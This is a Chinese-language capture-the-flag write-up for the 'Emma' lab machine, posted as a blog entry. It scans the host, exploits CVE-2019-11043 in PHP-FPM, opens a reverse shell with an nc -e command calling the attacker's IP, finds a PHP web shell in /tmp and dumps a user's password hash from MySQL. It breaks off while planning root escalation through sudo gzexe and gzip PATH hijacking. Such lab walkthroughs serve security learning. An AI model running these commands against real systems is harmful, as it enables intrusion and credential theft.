{"id":854,"date":"2025-06-11T19:07:38","date_gmt":"2025-06-11T11:07:38","guid":{"rendered":"http:\/\/162.14.82.114\/?p=854"},"modified":"2025-06-11T19:07:38","modified_gmt":"2025-06-11T11:07:38","slug":"hmv-_-emma","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/854\/06\/11\/2025\/","title":{"rendered":"hmv[-_-]Emma"},"content":{"rendered":"

Emma<\/h1>\n

\"image-20250610234925635\"<\/div>
\n
\"image-20250611161232009\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Sabulaji]\n\u2514\u2500$ rustscan -a $IP -- -sCV                                           \n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog         :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nScanning ports like it's my full-time job. Wait, it is.\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.102:22\nOpen 192.168.10.102:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 4a:4c:af:92:cc:bb:99:59:d7:2f:1b:99:fb:f1:7c:f0 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7qiLwCYXL3JEAulkFhLmvl2QiknveGWvbBxGTyR0WI21IJ9hBteliEAvYadP7uhkfvHv+87XpJZDfgbLHLm8Q9a7rw\/KE1UNElVeMpVnf5MMju5WcI0NYS2pkS36Ob2DE0lVRAm7LIbNkxrRtYXMUvUlbevA1dTCrSSo66d78kScvV9sYs5ESJgdGAr1v2wM1W8vr8Rd5AgNU5utFeWerbpKEnAqwppkjx+ZJHKTm6ClG1\/2213cLaT\/x2YfGzpVpWA3eDYldXanMvayXRaftqgSzpziqrkmVImItb13Nps5JuHaBJ8e7BKuLXkl6QdJwnsa6Jqpw1+Xmy6bEH6BD\n|   256 ba:0d:85:69:43:86:c1:91:7c:db:2a:1e:34:ab:68:1e (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNW+mNurHBzXlpco+u1Fhc2jeMSKi5ApjLeZVIwS3quoCyYfKQDPmR1MyVAO1ojrKhL6zqrrKYSuEYbaIo61Mp0=\n|   256 a1:ac:2c:ce:f4:07:da:96:12:74:d1:54:9e:f7:09:04 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE3IpmUsngXjRK+PoJCxMNLnSdoMwaQLhIC\/q6JM5v00\n80\/tcp open  http    syn-ack ttl 64 nginx 1.14.2\n| http-methods: \n|_  Supported Methods: GET HEAD POST\n|_http-title: Site doesn't have a title (text\/html; charset=UTF-8).\n|_http-server-header: nginx\/1.14.2\nMAC Address: 08:00:27:F6:00:FD (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Sabulaji]\n\u2514\u2500$ feroxbuster -u http:\/\/$IP -x php html txt -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt 2>\/dev\/null\n\n404      GET        7l       12w      169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n404      GET        1l        3w       16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n200      GET        0l        0w        0c http:\/\/192.168.10.102\/\n200      GET        0l        0w        0c http:\/\/192.168.10.102\/index.php\n200      GET        1l        1w       15c http:\/\/192.168.10.102\/robots.txt\n200      GET      627l     3373w    58727c http:\/\/192.168.10.102\/phpinfo.php<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Sabulaji]\n\u2514\u2500$ curl -s http:\/\/$IP\/robots.txt\nitwasonlyakiss<\/code><\/pre>\n
\"image-20250611161845632\"<\/div><\/p>\n
CVE-2019-11043\u6f0f\u6d1e\u5229\u7528<\/h3>\n
\u8fdb\u884c\u7248\u672c\u6f0f\u6d1e\u63a2\u6d4b\uff1a<\/p>\n
\"image-20250611162132321\"<\/div><\/p>\n
\u5b9a\u4f4d\u5230\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u5c1d\u8bd5\u5229\u7528\u4e00\u4e0b\uff1ahttps:\/\/github.com\/0th3rs-Security-Team\/CVE-2019-11043<\/a><\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Emma]\n\u2514\u2500$ python cve_2019_11043.py -u http:\/\/192.168.10.102\/index.php\n====== Designed by 0th3rs Security Team======\nJudging target ...\nTarget seems unvulnerable ... \nQuery padding: 0, Data padding: 0<\/code><\/pre>\n
\u6362\u4e00\u4e2a\uff1ahttps:\/\/github.com\/neex\/phuip-fpizdam<\/a><\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Emma]\n\u2514\u2500$ sudo docker run --rm ypereirareis\/cve-2019-11043 http:\/\/192.168.10.102\/index.php                                                   \nUnable to find image 'ypereirareis\/cve-2019-11043:latest' locally\nlatest: Pulling from ypereirareis\/cve-2019-11043\n89d9c30c1d48: Pull complete \n8ef94372a977: Pull complete \n1ec62c064901: Pull complete \n63f867ea31ce: Pull complete \ncf024c481879: Pull complete \n33a28e1b4252: Pull complete \n8ee8e5e9b49c: Pull complete \nDigest: sha256:33481329506ea8e332b0aca0b35447f3d436665dc14f1528fa7d7807921242d1\nStatus: Downloaded newer image for ypereirareis\/cve-2019-11043:latest\n2025\/06\/11 09:53:54 Base status code is 200\n2025\/06\/11 09:53:55 Status code 502 for qsl=1765, adding as a candidate\n2025\/06\/11 09:53:55 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]\n2025\/06\/11 09:53:56 Attack params found: --qsl 1755 --pisos 22 --skip-detect\n2025\/06\/11 09:53:56 Trying to set "session.auto_start=0"...\n2025\/06\/11 09:53:56 Detect() returned attack params: --qsl 1755 --pisos 22 --skip-detect <-- REMEMBER THIS\n2025\/06\/11 09:53:56 Performing attack using php.ini settings...\n2025\/06\/11 09:53:56 Success! Was able to execute a command by appending "?a=\/bin\/sh+-c+'which+which'&" to URLs\n2025\/06\/11 09:53:56 Trying to cleanup \/tmp\/a...\n2025\/06\/11 09:53:56 Done!<\/code><\/pre>\n
\u8fdb\u884c\u53cd\u5f39shell\uff01<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Emma]\n\u2514\u2500$ curl -s "http:\/\/$IP\/index.php?a=\/bin\/bash+-c+whoami" \nwww-data\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Emma]\n\u2514\u2500$ curl -s "http:\/\/$IP\/index.php?a=\/bin\/bash+-c+'whoami;nc+-e+\/bin\/bash+192.168.10.106+1234'&"<\/code><\/pre>\n
\u8fd9\u91cc\u53bb\u6389&<\/code>\u6267\u884c\u4e0d\u4e86\u3002\u3002\u3002\u3002\u5982\u679c\u4f60\u7684\u53cd\u5f39shell\u4e0d\u884c\u53ef\u4ee5\u5c1d\u8bd5\u5e26\u4e00\u4e2a\u540e\u53f0\u6267\u884c\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20250611181641731\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@emma:\/var\/www\/html$ cd ~\n(remote) www-data@emma:\/var\/www$ ls -la\ntotal 12\ndrwxr-xr-x  3 root     root     4096 Feb  4  2021 .\ndrwxr-xr-x 12 root     root     4096 Feb  4  2021 ..\ndrwxr-xr-x  2 www-data www-data 4096 Feb  4  2021 html\n(remote) www-data@emma:\/var\/www$ cd html\n(remote) www-data@emma:\/var\/www\/html$ ls -la\ntotal 16\ndrwxr-xr-x 2 www-data www-data 4096 Feb  4  2021 .\ndrwxr-xr-x 3 root     root     4096 Feb  4  2021 ..\n-rw-r--r-- 1 www-data www-data    0 Feb  4  2021 index.php\n-rw-r--r-- 1 www-data www-data   21 Feb  4  2021 phpinfo.php\n-rw-r--r-- 1 www-data www-data   15 Feb  4  2021 robots.txt\n(remote) www-data@emma:\/var\/www\/html$ cat \/etc\/passwd | grep sh | cut -d: -f1\nroot\nemma\nsshd\n(remote) www-data@emma:\/var\/www\/html$ ls -la \/home\/\ntotal 12\ndrwxr-xr-x  3 root root 4096 Feb  4  2021 .\ndrwxr-xr-x 18 root root 4096 Feb  4  2021 ..\ndrwxr-xr-x  3 emma emma 4096 Feb  4  2021 emma\n(remote) www-data@emma:\/var\/www\/html$ cd \/home\/emma\/\n(remote) www-data@emma:\/home\/emma$ ls -la\ntotal 60\ndrwxr-xr-x 3 emma emma  4096 Feb  4  2021 .\ndrwxr-xr-x 3 root root  4096 Feb  4  2021 ..\n-rw------- 1 emma emma    50 Feb  4  2021 .Xauthority\n-rw-r--r-- 1 emma emma   220 Feb  4  2021 .bash_logout\n-rw-r--r-- 1 emma emma  3526 Feb  4  2021 .bashrc\ndrwxr-xr-x 3 emma emma  4096 Feb  4  2021 .local\n-rw-r--r-- 1 emma emma   807 Feb  4  2021 .profile\n-rwx------ 1 emma emma  1920 Feb  4  2021 flag.sh\n-rw------- 1 emma emma    14 Feb  4  2021 user.txt\n-rwsr-s--- 1 root emma 16760 Feb  4  2021 who\n-rw-r--r-- 1 emma emma   185 Feb  4  2021 who.c\n(remote) www-data@emma:\/home\/emma$ cat who.c\n#include <stdio.h>\n#include <stdlib.h>\nvoid main(){\nsetuid(0);\nsetgid(0);\nprintf("Im \\n");\nsystem("\/bin\/id");\nsetuid(1000);\nsetgid(1000);\nprintf("But now Im \\n");\nsystem("\/bin\/id");\n}<\/code><\/pre>\n
\u5c1d\u8bd5\u4f7f\u7528\u4e4b\u524d\u5f97\u5230\u7684\u795e\u79d8\u5b57\u7b26\u5207\u6362\u7528\u6237itwasonlyakiss<\/code>\uff0c\u4f46\u662f\u53d1\u73b0\u5931\u8d25\u4e86\uff0c\u4e0a\u4f20linpeas.sh<\/code>\u8fdb\u884c\u4fe1\u606f\u641c\u96c6\uff1a<\/p>\n
\u53d1\u73b0\u4e86mysql<\/code>\u670d\u52a1\uff1a<\/p>\n
\"image-20250611182527279\"<\/div><\/p>\n
mysql\u63a2\u6d4b<\/h3>\n
(remote) www-data@emma:\/tmp$ mysql -u root -p               \nEnter password: \nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 15\nServer version: 10.3.27-MariaDB-0+deb10u1 Debian 10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> databases;     \nERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'databases' at line 1\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database           |\n+--------------------+\n| information_schema |\n| mysql              |\n| performance_schema |\n| users              |\n+--------------------+\n4 rows in set (0.097 sec)\n\nMariaDB [(none)]> use users;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [users]> show tables;\n+-----------------+\n| Tables_in_users |\n+-----------------+\n| users           |\n+-----------------+\n1 row in set (0.000 sec)\n\nMariaDB [users]> select * from users;\n+----+------+----------------------------------+\n| id | user | pass                             |\n+----+------+----------------------------------+\n|  1 | emma | 5f4dcc3b5aa765d61d8327deb882cf80 |\n+----+------+----------------------------------+\n1 row in set (0.000 sec)<\/code><\/pre>\n
\u627e\u5230\u4e86\u51ed\u8bc1\uff0c\u770b\u4e00\u4e0b\u9700\u4e0d\u9700\u8981\u7834\u8bd1\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Emma]\n\u2514\u2500$ hash-identifier \n   #########################################################################\n   #     __  __                     __           ______    _____           #\n   #    \/\\ \\\/\\ \\                   \/\\ \\         \/\\__  _\\  \/\\  _ `\\         #\n   #    \\ \\ \\_\\ \\     __      ____ \\ \\ \\___     \\\/_\/\\ \\\/  \\ \\ \\\/\\ \\        #\n   #     \\ \\  _  \\  \/'__`\\   \/ ,__\\ \\ \\  _ `\\      \\ \\ \\   \\ \\ \\ \\ \\       #\n   #      \\ \\ \\ \\ \\\/\\ \\_\\ \\_\/\\__, `\\ \\ \\ \\ \\ \\      \\_\\ \\__ \\ \\ \\_\\ \\      #\n   #       \\ \\_\\ \\_\\ \\___ \\_\\\/\\____\/  \\ \\_\\ \\_\\     \/\\_____\\ \\ \\____\/      #\n   #        \\\/_\/\\\/_\/\\\/__\/\\\/_\/\\\/___\/    \\\/_\/\\\/_\/     \\\/_____\/  \\\/___\/  v1.2 #\n   #                                                             By Zion3R #\n   #                                                    www.Blackploit.com #\n   #                                                   Root@Blackploit.com #\n   #########################################################################\n--------------------------------------------------\n HASH: 5f4dcc3b5aa765d61d8327deb882cf80\n\nPossible Hashs:\n[+] MD5\n[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))\n\nLeast Possible Hashs:\n[+] RAdmin v2.x\n[+] NTLM\n[+] MD4\n[+] MD2\n[+] MD5(HMAC)\n[+] MD4(HMAC)\n[+] MD2(HMAC)\n[+] MD5(HMAC(WordPress))\n[+] Haval-128\n[+] Haval-128(HMAC)\n[+] RipeMD-128\n[+] RipeMD-128(HMAC)\n[+] SNEFRU-128\n[+] SNEFRU-128(HMAC)\n[+] Tiger-128\n[+] Tiger-128(HMAC)\n[+] md5($pass.$salt)\n[+] md5($salt.$pass)\n[+] md5($salt.$pass.$salt)\n[+] md5($salt.$pass.$username)\n[+] md5($salt.md5($pass))\n[+] md5($salt.md5($pass))\n[+] md5($salt.md5($pass.$salt))\n[+] md5($salt.md5($pass.$salt))\n[+] md5($salt.md5($salt.$pass))\n[+] md5($salt.md5(md5($pass).$salt))\n[+] md5($username.0.$pass)\n[+] md5($username.LF.$pass)\n[+] md5($username.md5($pass).$salt)\n[+] md5(md5($pass))\n[+] md5(md5($pass).$salt)\n[+] md5(md5($pass).md5($salt))\n[+] md5(md5($salt).$pass)\n[+] md5(md5($salt).md5($pass))\n[+] md5(md5($username.$pass).$salt)\n[+] md5(md5(md5($pass)))\n[+] md5(md5(md5(md5($pass))))\n[+] md5(md5(md5(md5(md5($pass)))))\n[+] md5(sha1($pass))\n[+] md5(sha1(md5($pass)))\n[+] md5(sha1(md5(sha1($pass))))\n[+] md5(strtoupper(md5($pass)))\n--------------------------------------------------\n HASH: <\/code><\/pre>\n
\u5c1d\u8bd5\u7834\u8bd1\u4e00\u4e0b\uff1a<\/p>\n
\"image-20250611183000304\"<\/div><\/p>\n
\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff0c\u53d1\u73b0\u51ed\u8bc1\u4e3aemma:5f4dcc3b5aa765d61d8327deb882cf80<\/code>\uff1a<\/p>\n
\"image-20250611183103737\"<\/div><\/p>\n
\u63d0\u6743root<\/h3>\n
emma@emma:~$ ls -la\ntotal 64\ndrwxr-xr-x 4 emma emma  4096 Jun 11 06:31 .\ndrwxr-xr-x 3 root root  4096 Feb  4  2021 ..\n-rw-r--r-- 1 emma emma   220 Feb  4  2021 .bash_logout\n-rw-r--r-- 1 emma emma  3526 Feb  4  2021 .bashrc\n-rwx------ 1 emma emma  1920 Feb  4  2021 flag.sh\ndrwx------ 3 emma emma  4096 Jun 11 06:31 .gnupg\ndrwxr-xr-x 3 emma emma  4096 Feb  4  2021 .local\n-rw-r--r-- 1 emma emma   807 Feb  4  2021 .profile\n-rw------- 1 emma emma    14 Feb  4  2021 user.txt\n-rwsr-s--- 1 root emma 16760 Feb  4  2021 who\n-rw-r--r-- 1 emma emma   185 Feb  4  2021 who.c\n-rw------- 1 emma emma    50 Feb  4  2021 .Xauthority\nemma@emma:~$ cat user.txt \nyoudontknowme\nemma@emma:~$ sudo -l\nMatching Defaults entries for emma on emma:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser emma may run the following commands on emma:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/gzexe\nemma@emma:~$ \/usr\/bin\/gzexe\n\/usr\/bin\/gzexe: missing operand\nTry `\/usr\/bin\/gzexe --help' for more information.\nemma@emma:~$ \/usr\/bin\/gzexe --help\nUsage: \/usr\/bin\/gzexe [OPTION] FILE...\nReplace each executable FILE with a compressed version of itself.\nMake a backup FILE~ of the old version of FILE.\n\n  -d             Decompress each FILE instead of compressing it.\n      --help     display this help and exit\n      --version  output version information and exit\n\nReport bugs to <bug-gzip@gnu.org>.\nemma@emma:~$ \/usr\/bin\/gzexe --version\ngzexe (gzip) 1.9\nCopyright (C) 2007, 2011-2017 Free Software Foundation, Inc.\nThis is free software.  You may redistribute copies of it under the terms of\nthe GNU General Public License <https:\/\/www.gnu.org\/licenses\/gpl.html>.\nThere is NO WARRANTY, to the extent permitted by law.\n\nWritten by Jean-loup Gailly.\n\nemma@emma:~$ .\/who\nIm \nuid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(emma)\nBut now Im \nuid=1000(emma) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(emma)<\/code><\/pre>\n
\u6ce8\u610f\u5230\u6e90\u7801\u4e2d\u8c03\u7528\u4e86id\u547d\u4ee4\uff1a<\/p>\n
emma@emma:~$ cat who.c\n#include <stdio.h>\n#include <stdlib.h>\nvoid main(){\nsetuid(0);\nsetgid(0);\nprintf("Im \\n");\nsystem("\/bin\/id");\nsetuid(1000);\nsetgid(1000);\nprintf("But now Im \\n");\nsystem("\/bin\/id");\n}<\/code><\/pre>\n
\u6267\u884c\u4e86\/bin\/id<\/code>\u8fd9\u4e2a\u547d\u4ee4\uff0c\u770b\u4e00\u4e0bgzexe<\/code>\u8fd9\u4e2a\u547d\u4ee4\uff1a<\/p>\n
\n
gzexe<\/code> \u662f Linux \u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2a\u5b9e\u7528\u5de5\u5177\uff0c\u7528\u4e8e\u538b\u7f29\u53ef\u6267\u884c\u6587\u4ef6\uff08\u5982\u811a\u672c\u6216\u4e8c\u8fdb\u5236\u7a0b\u5e8f\uff09\u5e76\u4fdd\u6301\u5176\u53ef\u6267\u884c\u6027<\/strong>\u3002\u5b83\u7684\u6838\u5fc3\u529f\u80fd\u662f\u901a\u8fc7 gzip<\/code> \u538b\u7f29\u6587\u4ef6\u5185\u5bb9\uff0c\u5e76\u751f\u6210\u4e00\u4e2a\u81ea\u89e3\u538b\u7684\u5305\u88c5\u811a\u672c\uff0c\u4ece\u800c\u5728\u8fd0\u884c\u65f6\u81ea\u52a8\u89e3\u538b\u5e76\u6267\u884c\u539f\u59cb\u7a0b\u5e8f\u3002<\/p>\n<\/blockquote>\n
\u7136\u540e\u6211\u5728\u505a\u5b9e\u9a8c\u7684\u65f6\u5019\u9047\u5230\u4e86\u5947\u602a\u7684\u4e1c\u897f\uff1a<\/p>\n
emma@emma:\/tmp$ echo 'whoami;id' > a\nbash: a: Permission denied\nemma@emma:\/tmp$ ls -la\ntotal 972\ndrwxrwxrwt  8 root     root       4096 Jun 11 06:24 .\ndrwxr-xr-x 18 root     root       4096 Feb  4  2021 ..\n-rw-r--r--  1 www-data www-data     32 Jun 11 05:53 a\ndrwxrwxrwt  2 root     root       4096 Jun 11 05:47 .font-unix\ndrwxrwxrwt  2 root     root       4096 Jun 11 05:47 .ICE-unix\n-rwxr-xr-x  1 www-data www-data 954437 Jun 11 06:23 linpeas.sh\n-rw-------  1 www-data www-data      0 Jun 11 05:53 sess_475f5d058bca52e55f992b9eab2607fb\ndrwx------  3 root     root       4096 Jun 11 05:47 systemd-private-96e88c14555a490ab6f731145dab5180-systemd-timesyncd.service-Ksypos\ndrwxrwxrwt  2 root     root       4096 Jun 11 05:47 .Test-unix\ndrwxrwxrwt  2 root     root       4096 Jun 11 05:47 .X11-unix\ndrwxrwxrwt  2 root     root       4096 Jun 11 05:47 .XIM-unix\nemma@emma:\/tmp$ cat a\n<?php echo `$_GET[a]`;return;?><\/code><\/pre>\n
\u4e22\u3002\u3002\u3002\u3002\u3002\u5148\u4e0d\u7ba1\u4ed6\uff0c\u6807\u8bb0\u4e00\u4e0b\uff0c\u7136\u540e\u53d1\u73b0\u8fd9\u662f\u4e00\u4e2a\u811a\u672c\u6587\u4ef6\uff1a<\/p>\n
emma@emma:\/tmp$ cat \/usr\/bin\/gzexe\n#!\/bin\/sh\n# gzexe: compressor for Unix executables.\n# Use this only for binaries that you do not use frequently.\n#\n# The compressed version is a shell script which decompresses itself after\n# skipping $skip lines of shell commands.  We try invoking the compressed\n# executable with the original name (for programs looking at their name).\n# We also try to retain the original file permissions on the compressed file.\n# For safety reasons, gzexe will not create setuid or setgid shell scripts.\n\n# WARNING: the first line of this file must be either : or #!\/bin\/sh\n# The : is required for some old versions of csh.\n# On Ultrix, \/bin\/sh is too buggy, change the first line to: #!\/bin\/sh5\n\n# Copyright (C) 1998, 2002, 2004, 2006-2007, 2010-2018 Free Software\n# Foundation, Inc.\n# Copyright (C) 1993 Jean-loup Gailly\n\n# This program is free software; you can redistribute it and\/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\ntab='   '\nnl='\n'\nIFS=" $tab$nl"\n\nversion='gzexe (gzip) 1.9\nCopyright (C) 2007, 2011-2017 Free Software Foundation, Inc.\nThis is free software.  You may redistribute copies of it under the terms of\nthe GNU General Public License <https:\/\/www.gnu.org\/licenses\/gpl.html>.\nThere is NO WARRANTY, to the extent permitted by law.\n\nWritten by Jean-loup Gailly.'\n\nusage="Usage: $0 [OPTION] FILE...\nReplace each executable FILE with a compressed version of itself.\nMake a backup FILE~ of the old version of FILE.\n\n  -d             Decompress each FILE instead of compressing it.\n      --help     display this help and exit\n      --version  output version information and exit\n\nReport bugs to <bug-gzip@gnu.org>."\n\ndecomp=0\nres=0\nwhile :; do\n  case $1 in\n  -d) decomp=1; shift;;\n  --h*) printf '%s\\n' "$usage"   || exit 1; exit;;\n  --v*) printf '%s\\n' "$version" || exit 1; exit;;\n  --) shift; break;;\n  *) break;;\n  esac\ndone\n\nif test $# -eq 0; then\n  printf >&2 '%s\\n' "$0: missing operand\nTry \\`$0 --help' for more information."\n  exit 1\nfi\n\ntmp=\ntrap 'res=$?\n  test -n "$tmp" && rm -f "$tmp"\n  (exit $res); exit $res\n' 0 1 2 3 5 10 13 15\n\nmktemp_status=\n\nfor i do\n  case $i in\n  -*) file=.\/$i;;\n  *)  file=$i;;\n  esac\n  if test ! -f "$file" || test ! -r "$file"; then\n    res=$?\n    printf >&2 '%s\\n' "$0: $i is not a readable regular file"\n    continue\n  fi\n  if test $decomp -eq 0; then\n    if sed -e 1d -e 2q "$file" | grep "^skip=[0-9][0-9]*$" >\/dev\/null; then\n      printf >&2 '%s\\n' "$0: $i is already gzexe'd"\n      continue\n    fi\n  fi\n  if test -u "$file"; then\n    printf >&2 '%s\\n' "$0: $i has setuid permission, unchanged"\n    continue\n  fi\n  if test -g "$file"; then\n    printf >&2 '%s\\n' "$0: $i has setgid permission, unchanged"\n    continue\n  fi\n  case \/$file in\n  *\/basename | *\/bash | *\/cat | *\/chmod | *\/cp | \\\n  *\/dirname | *\/expr | *\/gzip | \\\n  *\/ln | *\/mkdir | *\/mktemp | *\/mv | *\/printf | *\/rm | \\\n  *\/sed | *\/sh | *\/sleep | *\/test | *\/tail)\n    printf >&2 '%s\\n' "$0: $i might depend on itself"; continue;;\n  esac\n\n  dir=`dirname "$file"` || dir=$TMPDIR\n  test -d "$dir" && test -w "$dir" && test -x "$dir" || dir=\/tmp\n  test -n "$tmp" && rm -f "$tmp"\n  if test -z "$mktemp_status"; then\n    type mktemp >\/dev\/null 2>&1\n    mktemp_status=$?\n  fi\n  case $dir in\n    *\/) ;;\n    *) dir=$dir\/;;\n  esac\n  if test $mktemp_status -eq 0; then\n    tmp=`mktemp "${dir}gzexeXXXXXXXXX"`\n  else\n    tmp=${dir}gzexe$$\n  fi && { cp -p "$file" "$tmp" 2>\/dev\/null || cp "$file" "$tmp"; } || {\n    res=$?\n    printf >&2 '%s\\n' "$0: cannot copy $file"\n    continue\n  }\n  if test -w "$tmp"; then\n    writable=1\n  else\n    writable=0\n    chmod u+w "$tmp" || {\n      res=$?\n      printf >&2 '%s\\n' "$0: cannot chmod $tmp"\n      continue\n    }\n  fi\n  if test $decomp -eq 0; then\n    (cat <<'EOF' &&\n#!\/bin\/sh\nskip=44\n\ntab='   '\nnl='\n'\nIFS=" $tab$nl"\n\numask=`umask`\numask 77\n\ngztmpdir=\ntrap 'res=$?\n  test -n "$gztmpdir" && rm -fr "$gztmpdir"\n  (exit $res); exit $res\n' 0 1 2 3 5 10 13 15\n\ncase $TMPDIR in\n  \/ | \/*\/) ;;\n  \/*) TMPDIR=$TMPDIR\/;;\n  *) TMPDIR=\/tmp\/;;\nesac\nif type mktemp >\/dev\/null 2>&1; then\n  gztmpdir=`mktemp -d "${TMPDIR}gztmpXXXXXXXXX"`\nelse\n  gztmpdir=${TMPDIR}gztmp$$; mkdir $gztmpdir\nfi || { (exit 127); exit 127; }\n\ngztmp=$gztmpdir\/$0\ncase $0 in\n-* | *\/*'\n') mkdir -p "$gztmp" && rm -r "$gztmp";;\n*\/*) gztmp=$gztmpdir\/`basename "$0"`;;\nesac || { (exit 127); exit 127; }\n\ncase `printf 'X\\n' | tail -n +1 2>\/dev\/null` in\nX) tail_n=-n;;\n*) tail_n=;;\nesac\nif tail $tail_n +$skip <"$0" | gzip -cd > "$gztmp"; then\n  umask $umask\n  chmod 700 "$gztmp"\n  (sleep 5; rm -fr "$gztmpdir") 2>\/dev\/null &\n  "$gztmp" ${1+"$@"}; res=$?\nelse\n  printf >&2 '%s\\n' "Cannot decompress $0"\n  (exit 127); res=127\nfi; exit $res\nEOF\n    gzip -cv9 "$file") > "$tmp" || {\n      res=$?\n      printf >&2 '%s\\n' "$0: compression not possible for $i, file unchanged."\n      continue\n    }\n\n  else\n    # decompression\n    skip=44\n    skip_line=`sed -e 1d -e 2q "$file"`\n    case $skip_line in\n    skip=[0-9] | skip=[0-9][0-9] | skip=[0-9][0-9][0-9])\n      eval "$skip_line";;\n    esac\n    case `printf 'X\\n' | tail -n +1 2>\/dev\/null` in\n    X) tail_n=-n;;\n    *) tail_n=;;\n    esac\n    tail $tail_n +$skip "$file" | gzip -cd > "$tmp" || {\n      res=$?\n      printf >&2 '%s\\n' "$0: $i probably not in gzexe format, file unchanged."\n      continue\n    }\n  fi\n  test $writable -eq 1 || chmod u-w "$tmp" || {\n    res=$?\n    printf >&2 '%s\\n' "$0: $tmp: cannot chmod"\n    continue\n  }\n  ln -f "$file" "$file~" 2>\/dev\/null || {\n    # Hard links may not work.  Fall back on rm+cp so that $file always exists.\n    rm -f "$file~" && cp -p "$file" "$file~"\n  } || {\n    res=$?\n    printf >&2 '%s\\n' "$0: cannot backup $i as $i~"\n    continue\n  }\n  mv -f "$tmp" "$file" || {\n    res=$?\n    printf >&2 '%s\\n' "$0: cannot rename $tmp to $i"\n    continue\n  }\n  tmp=\ndone\n(exit $res); exit $res<\/code><\/pre>\n
\u5728\u8fd9\u91cc\u9762\u672a\u89c4\u5b9a\u7edd\u5bf9\u8def\u5f84\u8c03\u7528\u4e86gzip<\/code>\u8fd9\u4e2a\u6587\u4ef6\uff1a<\/p>\n
emma@emma:\/tmp$  whereis gzip\ngzip: \/usr\/bin\/gzip \/usr\/share\/man\/man1\/gzip.1.gz \/usr\/share\/info\/gzip.info.gz<\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u884c\u52ab\u6301\uff1a<\/p>\n
    \n
  • gzexe<\/code>\u538b\u7f29\/bin\/id<\/code>\uff0c\u4e0b\u4e00\u6b21\u518d\u6b21\u8c03\u7528\/bin\/id<\/code>\u7684\u65f6\u5019\u5c31\u4f1a\u8fdb\u884cgzip<\/code>\u52a0\u8f7d<\/li>\n
  • \u5f04\u4e00\u4e2a\u6076\u610f\u6587\u4ef6gzip<\/code><\/li>\n
  • \u4fee\u6539\u73af\u5883\u53d8\u91cf<\/li>\n
